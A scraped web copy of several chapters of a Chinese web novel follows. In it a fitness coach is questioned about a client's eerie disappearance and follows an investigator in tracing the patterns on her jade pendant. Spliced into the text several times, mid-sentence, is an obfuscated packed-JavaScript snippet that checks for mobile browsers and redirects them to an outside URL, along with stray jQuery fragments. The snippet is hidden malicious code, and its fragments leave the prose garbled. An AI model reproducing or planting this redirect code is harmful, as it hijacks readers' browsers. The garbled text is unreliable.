《她的男友不是人》 2. 姐夫和小姨子 姜姜接到唐镜电话,睡眼惺忪从三楼下来,听唐镜说完来龙去脉,睡意不翼而飞,先是以工作室进小偷的名义,在会员群里宣布闭馆一天,随后就打了报警电话。 警察来到工作室,看完现场又调了监控。 工作室只在一楼进门那里装了个摄像头,从监控里可以看到,七点十五分的时候,叶菲低着头边看手机边推门走进来。 从那以后,叶菲就再也没有从监控里出现过。 只有进门,没有出门。 唐镜做为叶菲失踪前,最后接触她的人,受到特别“待遇”,不仅被反复询问,还做了详细笔录。 调查取证结束后,二楼私教室作为犯罪现场暂时被封起来。 这件失踪案实在太过诡异,警察严令唐镜和姜姜,不得对外泄露案情。 当时时间比较早,工作室还没会员来锻炼,而工作室除了老板姜姜,也就唐镜这么一个员工,所以叶菲失踪的事情,并没有其余人知道。 姜姜对此求之不得,要知道,这件事情若是传出去,绝对会影响工作室生意。 她暗示唐镜请假休息几天,当然了,带薪休假那是不可能的。 唐镜却装作没听懂,表示自己绝对不会让突发事件影响工作,肯定保质保量打好这份工。 做为恨不得把唐镜掰成三个用的吸血鬼老板,姜姜此举显然不是为唐镜着想,肯定是怕她出什么纰漏。 说实话,经历了这么一桩诡异离奇的事情,换成别人,肯定巴不得回去休息几天,但唐镜想到要交的房租、要还的花呗,就觉得没有什么比没钱更恐怖的了。 在这上班没有底薪,收入就靠卖私教课提成和上课的课时费,身为一个穷鬼,是没有害怕的资格的。 第二天,姜姜健身工作室正常营业,二楼私教室被封,暂时不能使用,只能在一楼角落里腾出个空间,用来上私教课。 中午唐镜刚上完一节私教课,就被姜姜叫到三楼办公室。 办公室里除了姜姜,还有一个年轻男子,双手插在裤兜里,站在窗边,挺拔如竹,清冷如雪,日光从窗外照进来,他半边身体在发光,半边身体隐在阴影里。 唐镜在心里吹了声口哨。 姜姜说这位是某部门的调查员伊峰秋,要询问她关于叶菲失踪时的情形。 听到部门名字,唐镜心中一凛,怎么会惊动这个部门? 伊峰秋瞥了唐镜一眼,示意她坐下。 唐镜觉得自己的骨头缝里都开始冒寒气,她规规矩矩坐在椅子上,摆出知无不言言无不尽的态度。 伊峰秋问得很详细,从叶菲坐在练功垫上的姿势,到她说话的语气,都会再三追问。 唐镜也没有什么太多的信息提供给他,从她进二楼私教室,到出去端水,再重新回到私教室,整个过程不超过三分钟。 而她和叶菲共处一室期间,叶菲总共只说了四句话。 “我男朋友不是人……” “我男朋友不是人……” “他前女友都消失了……” “无限掌中握,刹那即永恒……” 唐镜在复述这四句话的时候,尽量模仿叶菲的语气,那语气有恐慌,有惊惧,有茫然,还夹杂着一点期待和狠决。 就好像一个人正站在失火的高楼上,为是烧死还是摔死纠结。 伊峰秋问完之后,朝唐镜点点头,示意她可以离开了。 唐镜走出门,缓缓吐出一口气,这个部门的人出动,看来叶菲失踪一事,已经牵扯到了另外一个世界。 那是一个不属于普通人的世界。 …… 晚上八点四十五分,唐镜上完最后一节课,洗完澡换好衣服,给姜姜打了个招呼,离开了工作室。 从工作室到主路上有一段两百多米长的青石板路,一边都是类似工作室这种八九十年代的老房子,另一边是条河道。 现在是初夏,虽然时间比较晚了,但是路上还有三三两两散步的人,这让唐镜觉得比较安心。 即将走到主路时,唐镜感觉口袋里的手机震动了一下,她拿出手机,打开一看,是一个陌生号码发来的短信。 “有人跟踪你。” 唐镜一个激灵,下意识想要扭头往后看,可是理智瞬间战胜本能,她保持若无其事的样子,边走边把手机放在耳朵边上,小声嘟囔着,装作正在打电话。 实际上,她已经打开了手机的录像功能,摄像头就对着身后,等走到主路,她才把手机从耳朵边上拿下来,看着刚才录下的视频。 果然,有一个男人,衣领竖起来,戴着帽子,双手揣在裤兜里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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唐镜身体僵硬,被伊峰秋揽着肩膀走出好远,才回过神来,隐隐还能听到后面人群发出的唏嘘声。 3. 玉牌上的花纹 伊峰秋揽着唐镜肩膀,走到一家小吃店门口,这才松开手,掀开门上竹帘走进去,唐镜乖乖跟在他身后。 人在屋檐下,不得不低头,唐镜最大的优点就是能屈能伸。 这个时间点店里已经没什么客人了,老板坐在柜台后面,拿着把小刀,正专心地用萝卜雕花。 他看见伊峰秋后,放下小刀和萝卜,站起身:“峰哥。” 语气熟稔,透着股子亲热劲,只是他目光转向唐镜时,似是不善于和女生打交道,目光一触即收,神情微羞。 唐镜见他也就二十多岁,五官清秀,白T加条牛仔裤,不像小吃店老板,倒像个大学生。 伊峰秋领着唐镜,熟门熟路去了二楼的一个小包厢。 包厢不大,临街的那面墙开着窗,窗边放着一张四人位的方桌,原木色的桌椅,墙壁上的木纹壁纸,俱是一尘不染。 不用伊峰秋示意,唐镜就乖乖在桌边坐下。 小吃店老板把茶水放到桌上:“峰哥,今天还是老样子?” 伊峰秋点点头,在唐镜对面坐下。 老板出去后关上了门,包厢气氛突然变得有些压抑。 伊峰秋从兜里掏出一包香烟,放到桌上,抽出一根香烟,拿在手上把玩,却没有点燃。 唐镜:“为什么跟踪我?” 伊峰秋不开口,唐镜只好先说话,谁让她得罪了人家呢? “你是怎么发现我跟踪你的?”伊峰秋不动声色反问道。 说句实在话,如果不是收到那条短信,唐镜压根不会发现有人跟踪自己,可她并没有提起那条短信。 “叶菲失踪的那么古怪,我心里一直都有些怕,刚才走在路上,总觉得后背发毛,就偷偷拿手机录身后,就、就发现了。” 唐镜掏出手机,给他看录的视频。 伊峰秋看了眼视频,并没有继续这个话题,指了指唐镜的脖子:“能让我看看你戴的坠子吗?” 坠子? 唐镜掏出挂坠,是一块薄薄的正方形玉牌,浅碧色,四边镂刻着一圈花纹。 一年前,她和死党郑落落去西藏徒步,郑落落带她去了念青唐古拉山的一座无名庙宇,里面住着一群苦行僧。 主持说唐镜和郑落落能寻来这里,是有缘人,就给她俩一人送了一件礼物,这块绿色方形玉牌就是唐镜的礼物。 郑落落的礼物,是一块红色圆形玉牌。 当时唐镜还以为僧人是借送礼物为名,勒索财物,已经看好地形,准备拿了玉牌就跑路的打算。 没想到郑落落乐呵呵拿了玉牌,还傻乎乎要去参观寺庙。 她使眼色使的眼睛都快抽筋了,郑落落也没领会她的意思,她又不能丢下死党一个人开溜。 这鬼地方连手机信号都没有,无法报警,唐镜只好像影子一样,跟在主持身后,准备情况不对,就立刻挟持主持。 没想到她白提心吊胆了一番,最后两个人蹭了顿斋饭,安然无恙离开寺庙。 寺庙既然如此靠谱,那送的玉牌多半也有点辟邪护佑之类的功效,唐镜从此就一直戴着玉牌。 不过,伊峰秋为什么会对这块玉牌感兴趣? 唐镜边思忖,边去解挂玉牌的绳结。 玉牌是用一根绿色丝绦穿起来挂在脖子上的,因为练武术的时候,经常会有一些凌空翻的动作,所以丝绦比较短,不能从头上直接取下来,要先解开绳结。 她把绳结转到脖子前面,低下头,却看不到打结的地方,房间里也没有镜子,她只能用手指摸索着去解开。 这块玉牌自从戴上后,就再没解下来过,绳结严严实实纠结在一起,怎么都解不开。 汗珠从她额头上滚落下来。 伊峰秋:“我来吧。” 唐镜求之不得,双手捧着玉牌,示意他赶紧动手。 伊峰秋手臂伸过来,隔着桌子,开始解绳结。 他手指修长,骨节分明,指甲晶莹剔透,解绳结的动作非常轻柔。 但唐镜却看到他指腹和掌心处的薄茧,这是经常使用某种武器留下的痕迹。 包厢门突然被推开,老板端着托盘走进来,正看到这一幕,脸色微红,期期艾艾:“峰哥,要么,我等会再进来……” 伊峰秋瞥了他一眼:“进来。” 老板像做贼似的,把托盘里的菜一一摆到桌上,然后出门前,又故作镇定来了一句:“我、我什么都没看见。” 包厢门重新关上。 被老板这么一打岔,房间里那种压抑的气氛淡了许多,可是却又多了一点说不清道不明的暧昧。 绳结解开后,唐镜取下玉牌,放到桌上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当时她可是为了五十节课的提成加课时费,乐不可支了小半天呢。 如今看来,当时叶菲买私教课,难道是因为这块玉牌的缘故? 4. 天生犯冲 唐镜满脑子疑惑,甚至隐隐有点不安,本来自己只是一桩失踪疑案的目击者,但却因为这块玉牌被牵扯进来。 一双筷子突然递到面前。 伊峰秋:“先吃点东西。” 唐镜下意识接过筷子,自从经历了叶菲失踪的事后,她从昨天到现在,根本就没什么食欲。 可此时握着筷子,看到桌上摆着的菜,闻着菜香味,她突然觉得好饿。 第一筷子夹出去,就停不下来了。 唐镜发誓,绝对不是因为她太饿之后,才觉得这些菜好吃到要把舌头都吞下去。 这么不起眼的小店,居然能做出这么好吃的菜! 西芹爆炒鱼豆腐,醋溜娃娃菜,剁椒鱼头,一虾两吃,只是普通家常菜,可是,对于厨师来说,家常菜才最考验水平。 能把醋溜娃娃菜,做出让人光闻到味道,就要流口水的程度,绝对当得起厨神称呼了,而唐镜吃下第一口的时候,顿时觉得以前吃的醋溜娃娃菜,都是垃圾。 某部古早电影《食神》,里面的女评委,吃到男主做出来的“黯然销魂饭”,顿时热泪盈眶,哀叫“怎么能这么好吃,我以后要是吃不到这样好吃的饭,该怎么办啊?” 唐镜当时,对着桌子上摆的这四道菜,深深体会到了女评委的心情。 也许美食可以拉近人与人之间的距离,她和伊峰秋埋头苦吃的时候,房间里那种压抑的气氛、以及那一丝莫名的暧昧,都不知不觉散去。 “太好吃了,你是怎么发掘出这家店的?” 直到彻底光盘,唐镜才心不甘情不愿的放下筷子,心想这家店以后一定要经常来光顾,对一个吃货来说,还有什么比美食更能治愈的呢? 一顿美味下肚,她感觉到,叶菲失踪带给她的心理阴影,都淡了许多。 甚至她都忘了,她对面坐着的男人,正在调查她。 伊峰秋:“吃饱了?” 唐镜夸张地点头,表示吃的非常好。 “那我们谈谈正事吧。” 伊峰秋拿起放在桌边的那支香烟,重新在手指间把玩。 美食带来的幸福感不翼而飞,唐镜勉强笑了笑:“你早上问我的时候,我已经把所有知道的事情都告诉你了。” “叶菲为什么会来找你?”伊峰秋没有理会她的话,只淡淡问道。 一万匹草泥马在唐镜脑海里呼啸而过。 来找她? 有没有搞错,叶菲是来上私教课的,不是来找她唐镜的! 还没等唐镜为自己开口分辨,就听伊峰秋继续说道:“一个人如果遇到麻烦事,她第一时间去见的人,肯定是因为这个人能帮到她。” 伊峰秋这么一说,听上去倒有些道理。 不过,唐镜觉得自己不能被他这么带着跑,赶紧解释:“假如叶菲真遇到麻烦,她第一时间应该是打110,干嘛来找我这么一个名不见经传的小教练?” 伊峰秋没有理会她的解释,继续说道:“假设叶菲遇到了什么麻烦,她自己没办法解决,但是因为某种原因,也不能报警,那就只能去找她认为能解决麻烦的人。” “叶菲来馆里,只是因为她每次都是这个时间段来上私教课。”唐镜再次强调,“更何况,她见到我以后,并没有对我说什么。” 唐镜尽量撇清自己,叶菲失踪的事情,实在太诡异,她可不想被扯进去。 伊峰秋看了唐镜一眼,似笑非笑,显然看出了她的小心思。 唐镜眨眨眼睛,迎着他的视线,尽量让自己显得无辜弱小又无助。 伊峰秋手指轻轻拨动了一下,夹在指间,没有点燃的香烟,飞快旋转起来。 顿了顿,伊峰秋才慢条斯理的说:“你不用急着解释,我之所以推测,叶菲来馆里,不是为了上私教课,而是为了找你,还有一个很重要的原因。” 唐镜:“什么原因?” 伊峰秋:“昨天早上六点五十分,叶菲同楼层的邻居晨练回来,在电梯口碰到她,见她妆容不整,神情恍惚,就问她怎么了,她匆匆回了句‘非唐镜不可’,就进了电梯,这是邻居最后一次见到她。” 唐镜懵了,欲哭无泪,这下子,她真是跳进黄河都洗不清了。 “你该不会以为是我绑架了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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唐镜隐隐有些不安,自己是不是给郑落落惹麻烦了? “如果你请假不方便,我可以给姜姜打个招呼。”伊峰秋语气和表情都很严肃。 “请假倒是很方便,只是这个误工费……” 唐镜看着伊峰秋,一节私教课150块课时费,明天两节课,就是300块,她为了配合伊峰秋的工作,损失300块,总得有人补偿她吧。 伊峰秋淡淡:“微信,我给你转账。” 唐镜拿出手机加了伊峰秋微信,收到他300块转账。 伊峰秋:“手机号。” 唐镜报了手机号,伊峰秋输入手机号后,打通她的手机,随后挂掉:“从现在开始,你的手机要二十四小时开机,如果有什么情况,第一时间打电话给我。” 唐镜点点头,保存了他的手机号,随后又给姜姜发了条微信,说身体不舒服,想休息一天。 姜姜的微信很快回复过来,准了她的假,还很“体贴”的重申,她可以多休息几天。 伊峰秋把那支没点燃的香烟,重新放回烟盒,带着唐镜离开。 在一楼柜台边,唐镜看见老板已经雕完了那块萝卜,是一朵牡丹花,栩栩如生,好厉害的刀功! 她忍不住赞叹:“难怪你的厨艺这么厉害,光这刀功,足以秒杀五星级大厨了吧。” 老板微羞,把萝卜花递给唐镜:“送你。” 唐镜接过萝卜花:“我以后来吃饭,看在峰哥的面子上,是不是能打个折?” 峰哥这两个字,她叫的无比自然。 老板重重点头。 伊峰秋侧头瞥了唐镜一眼。 唐镜耸耸肩膀:“薅羊毛是穷人的快乐之一。” “你住哪里,我送你回去。”伊峰秋指了指路边不远处停着的一辆车,示意和他一起上车。 唐镜一看那车牌的颜色和号码,立刻拒绝:“不用了,我住前面景和小区,走过去也就十五分钟。” 景和小区是一个老小区,里面住着不少既热爱八卦,又有很高警惕性的大妈大伯们,她要是从这么一辆车里下来,会立刻成为这段时间的焦点人物。 “嗯,那就步行送你吧。”伊峰秋脚步一转,当先往景和小区方向走去。 看这架势,想不让送也不行了。 唐镜默默跟在伊峰秋身侧,心里不断安慰自己“身为一个奉公守法的好市民,应该配合执法部门工作”。 伊峰秋一直沉默,唐镜自然也不会没话找话,就这样,一直沉默地走进小区,沉默地走到楼下。 唐镜在单元门前勉强笑了笑:“太晚了,我就不请你上去坐了,明天见。” 伊峰秋点点头。 楼道门突然被推开,住唐镜隔壁的王大妈,拎着一袋垃圾走出来,先是瞥了眼伊峰秋,然后热情打招呼:“唐镜回来啦,你男朋友啊,小伙挺精神,呵呵。” 唐镜脑门上蹦出一个大大的“囧”字,含混打了个招呼,也不敢看伊峰秋,逃也似的进了楼道。 她一个人住四楼的小套里,进房间以后,立刻把门反锁,打开所有的灯,走到窗户边,掀开一角窗帘,正看见伊峰秋背转身,双手揣在裤兜里,慢悠悠往小区外走去。 他应该是看到屋子里的灯亮了,这才离开。 直到他的背影消失在视线里,唐镜才掏出手机,回拨那个给她发短信的陌生号码。 “您拨的电话是空号,请查询再拨……” 空号? 空号为什么能发短信? 感谢万能的网络。 唐镜迅速上网搜索,才知道可以通过一种软件,在电脑上随机生成号码,再用这个虚拟号码,给别的手机发送信息。 这种虚拟号码可以随时注销,说明那人给她发完短信以后,立刻就注销了这个虚拟号码,彻底断绝她回查的可能性。 不管对方是谁,至少唐镜能确定一点,就是这个人知道她的手机号,而且他(她)发现伊峰秋跟踪我,又第一时间通知她,意味着,他(她)当时应该也在附近。 知道她的手机号码,知道她工作的馆, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234633|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难道是她的熟人? 唐镜把手机扔到一边,拉起被子蒙住头,开始脑子里面还在过滤认识的那些人,可是也不知道是不是太疲倦的缘故,居然很快就睡着了。 第二天醒来的时候,阳光已经从窗户照进来,唐镜一个激灵从床上坐起来,拿起手机,竟然已经九点了。 手机里有一条伊峰秋的微信,八点半发来的。 他让她醒来后跟他联系,一起去见郑落落。 唐镜先给郑落落发了微信,说有点事,问她中午几点有空,她去学校里找她。 郑落落很快回了微信“十一点校门口见,一起午饭”。 唐镜赶紧给伊峰秋回微信,约好十点五十五分在天道大学校门口碰面,这才起床洗漱,煮了杂粮粥,吃完赶往天道大学校门口。 到门口正好十点五十五分。 伊峰秋没有开车,站在门边,穿了件白色短袖T恤,淡青色休闲裤,右手指缝间把玩着一根没点燃的香烟,微微垂了头,似乎正在思考什么。 唐镜看见他以后,愣了一下,本来她以为他会开着公务车,穿着制服,以很正式的方式去找郑落落。 没想到他居然一身便装,这是不打算亮明身份了。 郑落落从校门里面走出来,看见伊峰秋和唐镜站在一起,表情突然变得很夸张,边打量伊峰秋,边故作心痛状:“姐妹,说好了一起做单身狗,你却偷偷找了男朋友……” 一万头草泥马从唐镜脑海中再次呼啸而过。 她赶紧说:“别乱说,这位是……” “我叫伊峰秋,是唐镜的朋友,听她说你觉得这些花纹有些眼熟,想问问你知道些什么?” 伊峰秋从兜里掏出一张纸,上面画着一个一个复杂的花纹,正是玉牌上的那些花纹。 郑落落接过纸,仔细看起来:“咦,这不是小镜那块玉牌上的花纹吗?嘿嘿,那今天的午饭……”郑落落故意拉长声音,笑的很暧昧。 唐镜脑门上的那个“囧”字越来越大,真想从来没有认识这个死党。 6. 第 6 章 伊峰秋神情没什么变化:“午饭我请客。” 郑落落拍掌:“爽快,咱们现在去校图书馆,我来查一下这些花纹。” 这个时间点,图书馆没什么人,郑落落带着唐镜和伊峰秋,找了一处僻静角落坐下,开始研究纸上的花纹。 唐镜小声对伊峰秋说:“落落就喜欢开玩笑,不好意思啊。” 伊峰秋若无其事的点点头:“物以类聚,人以群分,跟你打过交道,我已经有免疫力了。” 神马意思? 这是在展示他的幽默感吗? 可是为什么唐镜觉得一点都不好笑。 为什么郑落落的肩膀一个劲地发抖?她是在强忍笑意吗? 这家伙是顺风耳吗? 唐镜明明已经压低了声音,她居然还是听见了? 半晌,郑落落抬起头,一脸若无其事的样子:“像是刻在古代礼器上的花纹,但我不敢确定,我拍下来,发给专门研究古玉器的一位老师看看可以吗?” 伊峰秋点点头。 郑落落掏出手机,拍了张照片,用微信把照片传给那位老师。 很快老师回了微信。 郑落落把手机放到桌上,让尹峰秋自己看回复。 唐镜按捺不住好奇心,也凑过去看手机。 回复:这些花纹是由谷纹、云纹和雷纹组合而成,目前只在三星堆出土的祭祀玉器上发现此类花纹,推测可能是古蜀大巫用来与神灵沟通的一种祭祀专用文字。 唐镜看得云山雾罩。 伊峰秋,双眉微蹙,若有所思。 唐镜:“什么是谷纹、云纹、雷纹啊?” 郑落落去书架上找来一本书,书名是《古代玉器考》,她翻到其中一页,指着里面的一张图片:“这是周朝天子祭天用的一件礼器。” 图片上是一块方形的玉壁,中间有个小圆孔,色呈淡青,上面刻着类似豆芽的图案。 “这是拱壁的一种,叫做谷壁,古代帝王用于祭祀上天的一种礼器,外形寓意天圆地方,淡青色和天空颜色对应。” 郑落落手指在豆芽图案上勾勒:“这就是谷纹,是谷物发芽的样子,象征着万物苏醒、生机勃勃和人们对粮食丰收的祈盼。” 她又翻到另外一页,上面是一个玉珏,刻着类似弯曲卷舒如云朵的线条:“这是云纹,这弧线用来模拟天空的云彩,表达了古人对天空的敬畏。” 随后是雷纹图案,雷纹横平竖直,有点像一圈圈往外扩大的方形。 “雷纹代表天道和律法,若是违逆天道,就会被惩罚。” 这么一分解,果然能看出来,玉牌上的花纹,都是由这三种形状不同的图案,排列组合而成。 郑落落用手机搜三星堆出土的文物资料。 三星堆文物出土是考古界的一件大事,唐镜这个跟考古八竿子打不着的圈外人,都听过不少关于三星堆的新闻。 三星堆出土了许多独一无二的文物,比如高达2.6米的铜立人,黄金权杖,双眼像柱子一样凸出来的青铜人面,青铜树等等。 这些文物的数量、造型、精美的工艺,都说明这里曾经有一个高度发达的文明,相当于古代西周时期的水准。 但匪夷所思的是,如此发达的古代文明,居然没有文字留下来,要知道距今为止,凡是文明发展到如此程度的古代社会,都会伴随着文字的出现。 所以很多人开始猜测,那些长相怪异的青铜人会不会是外星人,三星堆文明是外星人在地球上生活的痕迹。 郑落落点开一个解释三星堆文物的文档,找到文档里面的一张图片,放大后让伊峰秋和唐镜看。 图片上是一块三星堆出土的玉壁,玉壁四边的花纹,看似繁复,但是经过郑落落的拆解,果然每一个都是由谷纹、云纹和雷纹不同排列组合而成。 “这玉璧是殉葬用的一件礼器,让墓主人的灵魂能在死后,回归到神灵的世界。” 唐镜后背汗毛一下竖起来,掏出挂在脖子上的玉牌:“落落,快帮我取下来,我怎么觉得瘆的慌。” 郑落落朝她翻了个白眼:“瘆的慌?你想啥呢?” “我这块玉牌会不会也是从坟墓里挖出来的?” 郑落落:“得了吧,这就是不值钱的石英岩玉,我这块红的也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234634|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 她边说,边拉起挂在脖子上的红色丝绦,丝绦下端挂着那块红色玉牌,形如满月,光溜溜的没什么花纹。 伊峰秋看了一眼红色玉牌,并没有多言。 唐镜:“那你当时为啥如获至宝?” 郑落落:“那寺庙主持可是有修行的高僧,经他手送的礼物,哪怕是块破砖烂瓦,那也肯定是有佛法加持的好东西。” 唐镜抚头,好吧,这个理由,她无法辩驳。 “难道这花纹也是主持亲手刻的?” 郑落落把她的红色圆玉重新塞进衣领:“那就不知道了。” 伊峰秋:“玉牌上的花纹,确实是谷纹云纹和雷纹组合而成,不过这些花纹,和三星堆里出土的玉器花纹,并没有一模一样的。” 这三种花纹看似简单,可就像横竖撇三个笔画,就可以组合成数百上千的汉字,郑落落翻出的那些玉器照片,没有一个花纹和玉牌上的花纹一样。 伊峰秋看看天色:“去吃饭吧。” 郑落落喜笑颜开,磨刀霍霍,准备让伊峰秋请吃饭。 唐镜一个劲地向郑落落使眼色,示意这位大神很忙,要吃饭,闺蜜俩去就行了,她保证请客。 可是郑落落显然误会了她的意思,嘻嘻哈哈的说:“唐镜,看不出来你这么重色轻友,怎么?舍不得他花钱请客啊?” 什么是损友?这就是典型的损友! 拜托,伊峰秋可不是普通人哎,唐镜做为一个被牵扯到诡异案件里的无辜好市民,不是应该离这种执法人员越远越好吗? 可是没有伊峰秋的同意,唐镜自然不能告诉郑落落他的身份,更不能告诉她,叶菲失踪的案子。 她恨不得立刻用胶带封住郑落落的嘴巴,免得她继续说出什么不该说的话来。 伊峰秋神情淡定,让郑落落选地方。 郑落落笑嘻嘻的说:“看唐镜心痛欲死的样子,我也不挑什么地方了,旁边的青禾咖啡吃个简餐好了,怎么样,小镜,姐们够意思吧?” 唐镜确实心痛欲死,不过不是为了伊峰秋的钱包,而是为她居然会有这么个帮倒忙损友而痛心。 7. 第 7 章 三个人坐进青禾咖啡,刷着手机等餐。 这样也好,少说话少麻烦。 唐镜手机一震,来了条微信,是郑落落的。 “姐妹,这么有型的男人,在哪捡到的?” 唐镜瞥了眼对面的伊峰秋,他微低头,正在手机上快速写着什么,她突然发现,从这个角度看过去,他的睫毛好长,垂下来后,显得眼睛特别深邃。 “天上掉下来的。”唐镜给郑落落回了条微信。 “真有天上掉馅饼的好事?”她回了一个大大的惊叹表情。 “通常天上掉下来的,一般都是陷阱。”唐镜秒回。 “哇,有这么好的陷阱,赶紧给姐掉一个下来,姐保证一秒钟都不会犹豫,直接扑进陷阱里。” 郑落落发了个色迷迷的表情。 “那你赶紧扑过去吧,我保证在背后给你一脚,助你一臂之力。” …… 直到点的简餐端上来,唐镜和郑落落才结束了手机上的微信互怼,开始专心吃饭。 伊峰秋边吃边有意无意说道:“你和小镜是怎么成闺蜜的?” 郑落落:“我和小镜都是天道大学19届的新生,她是体术院的。” 伊峰秋看向唐镜:“你是天道大学的学生?” 唐镜漫不经心:“大二的时候被开除了。” 郑落落愤愤不平:“公交车上遇见小偷,小镜提醒失主,小偷恼羞成怒,拿刀威胁小镜,结果没站稳,摔倒后刀刺中心脏,自己把自己扎死了,小偷家属去学校闹,让小镜赔偿。” 伊峰秋微怔。 郑落落:“学校为了息事宁人,就把小镜开除了。” 唐镜耸耸肩膀:“其实这样也挺好,省了三年学费,还能多上点私教课赚钱。” 服务员端上三个人点的餐。 唐镜对着面前的海鲜炒饭,做了一个长长的深呼吸:“好饿,吃饭,吃饭。” 伊峰秋似乎没什么食欲,只看了看面前的套餐,没动筷子,只用随意的口气问郑落落:“你和小镜当年去西藏旅游,你是怎么找到念青唐古拉山里的那座无名寺庙的?” 小镜? 谁允许他这么叫的? “哇,这种事情都告诉你了,还说只是普通朋友?”郑落落故作夸张的说,“我当时可叮嘱过她,这件事情,不要随便给别人说哦。” 你妹,伊峰秋这样的身份,问玉牌的来历,敢不告诉吗? 唐镜狠狠吞下一口海鲜炒饭。 “小镜对我,确实是知无不言,言无不尽。”伊峰秋一本正经的说,表情很严肃,很认真。 他说的确实没错,唐镜确实知无不言,言无不尽,谁让他是查案的执法人员,而她是案件目击者呢? 唐镜没办法反驳,更没办法解释。 于是,她只能又狠狠吞下一口海鲜炒饭。 这厮故意让郑落落误会,一定是在报复她! 报复她喷了他一脸茶水,才会这么说话,真是小气! 郑落落笑的花枝招展,搂着唐镜的肩膀:“姐妹,都知无不言,言无不尽了,哈哈,哈哈。” “你还是先说说,你是怎么找到那座庙的,那么偏僻的地方,如果不是有人带路,福尔摩斯估计都找不到。” 唐镜转移话题。 “我是听一个古玩店老板人说起过这座寺庙,后来和小镜去西藏玩,我突然想起来,就问他要了地址,寻了过去。” 伊峰秋:“古玩店老板?” 郑落落:“他叫齐修,开了间叫‘聚真阁’的古玩店,除了精通古玩,据说在禅修这块有很高的造诣。” 伊峰秋:“你能帮我联系一下他,问问他什么时候方便,你就说你想带喜欢禅修的朋友去拜访他。” “没问题。” 郑落落边说边翻出齐修的微信,开始给他发消息。 唐镜虽然是体术教练,偶尔也打打坐,不过却很少跟专门搞禅修的来往,主要是她觉得,本来是追求放松静心的禅修,现在都快被神棍们占领了,有往封建迷信发展的趋势。 很快郑落落收到了回复,齐修说自己就在古玩店里,下午正好有禅修的朋友在他那里聚会,欢迎郑落落带朋友一起去玩。 伊峰秋:“正好我和小镜下午都没什么事情,就和你一起去见见齐修。” 郑落落朝唐镜挤了挤眼睛:“小镜,现在有人替你当家作主了哈。” 好吧,唐镜觉得自己就算是跳进黄河也洗不清了。 只不过,这黑锅不能白背,不然多亏啊,她立刻叫来餐厅服务员:“加一份最贵的牛排,再配一杯最贵的咖啡。” 可惜,青禾咖啡最贵的牛排,也不超过两百块,真是便宜伊峰秋了。 吃完午饭后,三个人直接打车去了齐修的古玩店。 出租车在一条古色古香的巷子前停了下来,巷子不能通车,只能下车步行。 这条巷子属于老城区,青石板铺地,一边是白墙黑瓦的二层小楼,一边是垂柳小河。 这些小楼都是很多很多年前的建筑,十年前政府统一翻新过,原来的住户已经不多了,这些小楼大部分都租出去了,开起了茶馆、咖啡屋、工艺品店、书画店、古玩店等等。 走在这条巷子里,能看到石板缝隙和墙角落里的暗绿青苔,恍惚中,有一种进入时光隧道的感觉,仿佛置身在几百年前的Y城,喧嚣的现代都市渐渐淡去。 “聚真阁”在巷子尽头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234635|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 两扇斑驳的木门虚掩着,同样斑驳的门楣上写着“聚真阁”三个大字。 郑落落推开门,门后挂着的青铜风铃发出脆响,坐在柜台后面的一个穿着汉服的年轻人抬头看过来。 郑落落显然认识他,和他打了个招呼:“带朋友来参加聚会。” 年轻人微笑道:“老板就在后院,你们自己过去就好。” 郑落落熟门熟路,带着着唐镜和伊峰秋穿堂过户,进了后院。 这地方唐镜也是第一次来,古色古香的宅院,雕花木窗,木制回廊,绸制八角宫灯……,处处古意盎然。 